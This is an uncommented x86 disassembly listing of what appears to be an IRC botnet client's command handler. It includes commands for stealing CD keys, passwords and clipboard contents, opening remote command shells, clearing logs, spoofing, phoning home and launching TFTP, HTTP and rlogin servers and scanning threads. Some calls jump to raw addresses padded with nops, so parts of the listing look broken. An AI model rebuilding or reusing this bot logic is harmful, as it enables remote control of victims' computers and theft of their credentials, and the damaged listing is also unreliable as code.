		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2680B81h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42BDA8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC04
